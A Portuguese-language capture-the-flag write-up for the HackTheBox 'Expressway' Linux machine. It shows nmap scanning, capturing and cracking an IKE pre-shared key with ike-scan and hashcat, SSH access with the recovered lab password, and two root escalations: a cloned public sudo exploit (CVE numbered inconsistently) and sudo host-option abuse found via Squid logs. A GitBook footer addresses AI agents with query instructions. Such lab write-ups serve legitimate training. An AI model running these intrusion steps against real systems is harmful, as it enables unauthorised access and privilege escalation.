> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Relato do HackTheBox Expressway

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**Habilidades:**

* Conhecimento sobre enumeração e exploração do serviço IKE
* Enumeração de sistema Linux
* Explorando a CVE-2025-32462
  {% endhint %}

#### **Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/9ea9090121af150eba31ab511353b211b9533caa" alt="" width="563"><figcaption></figcaption></figure>

#### **Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/8ea20ed5f0533425052c46368b5f872238848b6a" alt="" width="563"><figcaption></figcaption></figure>

#### **Descoberta de portas abertas com Nmap:**

O primeiro passo é identificar os serviços expostos. Fazemos uma varredura rápida das portas TCP e UDP.

#### Varredura TCP

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### Varredura UDP

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="/files/c06cffcf2bb18c9791432c1c6a64ea43a743a670" alt=""><figcaption></figcaption></figure>

#### Varredura de Serviço e Versão

Depois de identificar as portas, investigamos mais a fundo serviços específicos:

* TCP: Porta 22 (SSH)
* UDP: Portas 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T)

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="/files/180471696b188bb5f192e88e6fe9324d667c28cb" alt=""><figcaption></figcaption></figure>

### Intrusão: Exploração do IKE (VPN)

A porta 500 UDP indica um serviço de troca de chaves (IKE). Estamos tentando capturar a Chave Pré-Compartilhada (PSK) usando o modo agressivo.

#### Identificação do ID

Usamos `ike-scan` para verificar se o modo agressivo está habilitado:.

```bash
sudo ike-scan -A 10.129.238.52
```

* Resultado: Handshake bem-sucedido. ID detectado: `ike@expressway.htb`.

#### Capturar e quebrar o hash da PSK

<figure><img src="/files/db661b88c4e2ac84a1775b2969178506c8707837" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Extraímos o hash para tentar um ataque de força bruta com o dicionário `rockyou.txt` .

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Credenciais obtidas: `ike`: `freakingrockstarontheroad`

<figure><img src="/files/fe6383175d3b6f6cb63365805968a7e57bc84770" alt=""><figcaption></figcaption></figure>

#### Acesso Inicial

Conexão via SSH com as credenciais encontradas:

```bash
ssh ike@10.129.238.52
```

## Escalada de privilégios

Dois vetores foram confirmados para elevar privilégios a root.

### Método 1: CVE-2025-32463 (Vulnerabilidade do sudo)

Verificando a versão do sudo com `sudo -V`, vemos que a versão é 1.9.17, que é vulnerável.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="/files/f4918596936f5f84802f501758497a854870f6ec" alt=""><figcaption></figcaption></figure>

1. Clonar o exploit:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

Executando os scripts de compilação e exploração:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="/files/76f69b1dfd01369e4addb860511100256d9bf4ea" alt=""><figcaption></figcaption></figure>

### Método 2: Abuso do grupo Proxy e dos hostnames

Ao auditar os grupos do usuário, vemos que pertencemos ao grupo proxy. Estamos procurando os arquivos associados:

<figure><img src="/files/aa9f64a41b23ddd52996b5cbde748def53b61677" alt=""><figcaption></figcaption></figure>

Ao examinar os logs do Squid (`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="/files/f6b391549ba56d87fc89cd9ca10b812b969704a3" alt=""><figcaption></figcaption></figure>

Descobrimos um subdomínio interno: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="/files/0f748551bdd085b05deb148aa23d38921cf24727" alt=""><figcaption></figcaption></figure>

Ao verificar as políticas do sudo para este domínio específico, descobrimos que temos permissões totais:

```bash
sudo -h offramp.expressway.htb -l
```

Resultado: Podemos executar qualquer comando como root neste contexto de host.

<figure><img src="/files/72a04e9d11056f7acaf0c9543cdd334a98173ca9" alt=""><figcaption></figcaption></figure>

**Execução final para Root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="/files/ce0f227256caa856aeba6562ef27f7c1a0719d48" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/b36e11ca320c9c73972a21c3548669db57c234d2" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="/files/78e60c8dfe28c5d5d4c4b17c62400970fd5544a0" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
